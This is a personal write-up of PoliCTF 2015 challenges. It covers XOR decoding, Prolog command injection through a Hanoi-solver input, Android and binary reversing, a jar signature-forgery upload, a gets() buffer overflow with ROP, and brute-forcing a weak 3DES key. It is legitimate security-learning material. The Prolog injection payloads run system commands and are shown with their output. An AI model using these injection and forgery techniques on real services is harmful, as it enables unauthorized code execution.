PoliCTF2015 writeup
This is a writeup from the first capture the flag competition I participated in, the PoliCTF. The challenges ranged from web vulnerabilities, through crypto challenges to writing binary exploits. I really enjoyed the competition and I am looking forward to the next year.
Exorcise
This one is trivial, a server is listening for user input and responding with some hex-encoded data.
$ nc exorcise.polictf.it 80
2e0540472c37151c4e007f481c2a0110311204084f
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaa
2e0541061a3e150908123e50123e12513e12080c110d043e180e143e12090e140d053e090017043
e120e0d1704053e3e08153e500f3e543e1204021c070d00061a3e150908123e50123e12513e1208
0c110d043e180e143e12090e140d053e090017043e120e0d58452d397f101b2a110f2d507f01000
2190f0206470f371d1b491e3a42003e14557f0a0618501c17301b0e17330a480e191e013b114111
0a2b531b0413450f3a2647541045063a47281a16065d120404141e7f151a0c533544002b53517f1
11c03130445301f4f023a1a1a0b550e1d2b0d12
The flag can be extracted by xoring the user-provided string with the server response.
Hanoi as a service
Connecting to the provided address:
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
3
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b
Hmm, cool, let’s see, what happens on invalid input:
How many disks does your tower have?
asd
ERROR: Prolog initialisation failed:
ERROR: </2: Arithmetic: `asd/0' is not a function>
It runs Prolog, great. After a while of reading up on the syntax, I figured how to inject arbitrary code. So I tried the obvious:
How many disks does your tower have?
1),shell("/bin/ls")%
Nice try...
It looks like the shell()
and unix()
functions were removed. After some more
searching the documentation, I found that Prolog also has process_create()
,
which works:
How many disks does your tower have?
1),process_create(path(uname), ['-a'], [])%
* Move top disk from a to b
Linux ip-172-31-2-198 3.14.39grsec1.0-grsec #2 SMP Thu Apr 23 15:12:34 CEST 2015 x86_64 x86_64 x86_64 GNU/Linux
I am not really sure if this is the intended solution or process_create
was
just overlooked but hey, it works :)
Crack me if you can
This one is an Android app. Unpacking the .apk and running strings on classes.dex yields:
$ strings classes.dex | grep flag
flag
flagging
'flagging{It_cannot_be_easier_than_this}
flags
suggest_flags
It turns out that this flag is just a bait, so some further digging is needed. Disassembling the dalvik .dex using smali reveals three classes.
it
└── polictf2015
├── a.smali
├── b.smali
├── c.smali
└── LoginActivity.smali
a.smali
is just some OnClickListener implementation, but b.smali
and c.smali
both contain methods of this form:
These are then composed in LoginActivity.smali
The next step is to extract the obfuscated string from resourses.arsc
.
The content can be guessed from the substitution functions being called, so
strings+grep is enough to do the job.
$ strings resources.arsc | grep spdgj
ee[[c%l][c{g}[%{%Mc%spdgj=]T%aat%=O%bRu%sc]c%ti[o%n=Wcs%=No[t=T][hct%=buga[d=As%=W]e=T%ho[u%[%g]h%t[%}%
Now I just implemented deobfuscator in Python and captured the flag.
Reversemeplz
The binary provided in this challenge expects input on stdout and returns “Wrong input.” unless the input matches the flag.
Opening the binary in radare2 reveals that the input string is fed into some verifying function which iterates over it, checking whether individual characters are lowercase letters and applying some mysterious transformation. It then does some checking to see, if the flag is correct.
By testing various inputs, it turns out, that the transformation is just plain rot13.
The next stage then checks if differences between adjacent characters match some hard-coded values.
The flag string can therefore be easily reconstructed:
This outputs two possible values for the flag, both of which are correct.
John pastry shop
In this challenge, the server accepts a .jar file containing implementation of
the provided Cake class. It then prints the ingredients added in its
addIngredientsToCake()
.
The provided ShamanoCakeContainerEncoded.jar
:
$ cat ShamanoCakeContainerEncoded.jar | nc pastry.polictf.it 80
nc: using stream socket
Welcome to John's Pastry Shop!
In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
And it also contains a valid NewYorkCheeseCake.
This seems a tasty cake!
Here are its ingredients:
* Cream Cheese
* Biscuits
* Sugar
* Isinglass
Thanks for visiting John's Pastry Shop!
The objective is to submit a .jar file containing implementation of the
provided abstract Cake class which sets the shouldBeAddedTheSpecialIngredient
variable to true.
The .jars are first encoded by a simple algorithm from Decode.java
. Rewritten
to Python:
Just packing a .jar with the custom NewYorkCheeseCake.class
and submiting it
to the server is not enough though.
$ cat encoded.jar | nc pastry.polictf.it 80 1s
Welcome to John's Pastry Shop!
[Error] The cake container has unsigned class files. Exit now..
The server seems to require a signature. The challenge description heavily hints that the certificate chain is not actually verified, so signing the jar is just a matter of creating a certificate with field values identical to the one used to sign the original .jar. This is an easy jarsigner exercise, omitted for brevity.
$ cat evil.jar | nc pastry.polictf.it 80 1s
nc: using stream socket
Welcome to John's Pastry Shop!
In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
And it also contains a valid NewYorkCheeseCake.
This seems a tasty cake!
Here are its ingredients:
flag{PinzimonioIsTheSecretIngredientAndANiceFlag}
Thanks for visiting John's Pastry Shop!
John’s library
This challenge required exploiting a binary running on a remote server.
$ ./johns-library
Welcome to the jungle library mate! Try to escape!!
r - read from library
a - add element
u - exit
a
Hey mate! Insert how long is the book title:
5
Lorem ipsum dolor sit amet
r - read from library
a - add element
u - exit
r
Insert the index of the book you want to read: 1
ipsum dolor sit amet
r - read from library
a - add element
u - exit
u
bye bye!
Starting radare2 and looking at the
add_element_to_library
function, a buffer overflow can be immediately spotted
in a gets()
call. This allows an attacker to overwrite return value of the
main function.
As there is no way to know address at which the shellcode is going
to be placed, another pointer, further down the stack needs to be used. This
pointer points slightly below the buffer, but after setting up the exploit in such a
way that its least significant byte is overwritten with the string terminating \0
(this trick only works on little endian machines), it points somewhere inside the
1024 byte buffer about ~20% of the time.
This pointer is then loaded into %eip using a rop gadget:
And putting it all together into a python script:
3DOGES2
This one was definitely the most fun. Connecting to the provided address:
$ nc doges.polictf.it 80
Welcome! Wanna talk with John? Follow the instructions to get a Secure Channel.
37c072e4b3b3940243ece6d5005cd79a0002e2e634495036082b98f9663d6f071030ff85434a653
bf1560df52b92432e12bad879a989a816a4c1fb34173f390fbc3d0d202d97e12a432e5021751200
0fb9736845fa47aa723e2703191269ba14
You surely know what to do with this:
48fada8607e05ba41737774ffb54b2404573e9f3c2127ac026bbf82939a2a1c3
Insert key:
Looking at the connection handling code:
So it sends a constant string and a password encrypted with 3DES. The key is generated by the following:
As cracking 3DES is not an option (yet), the vulnerability has to be in the key generation. The function seems to attempt to generate EDE2 key, but due to the way 3DES works, it generates only what is equivalent to normal DES. DES itself is attackable, but not on my hardware and not on time to finish before the competition ends.
Let’s look a little more at individual byte generation:
Input into the process consists only of 5 bits per key byte. This means that the keyspace has at most 2⁴⁰ keys. Still a bit much.
The magic bit shuffling cannot probably generate all 32 values:
{0, 27, 32, 59, 68, 95, 100, 127, 141, 150, 169, 173, 201, 210, 242, 246}
So about half that. This means a keyspace of 2³², which should be searchable relatively quickly.
My first implementation in Python using PyCrypto had too much overhead and the total search time was about ~100 hours. After I rewrote the cracker in C, calling OpenSSL directly, the time it took to iterate over the entire keyspace decreased down to about 30 minutes.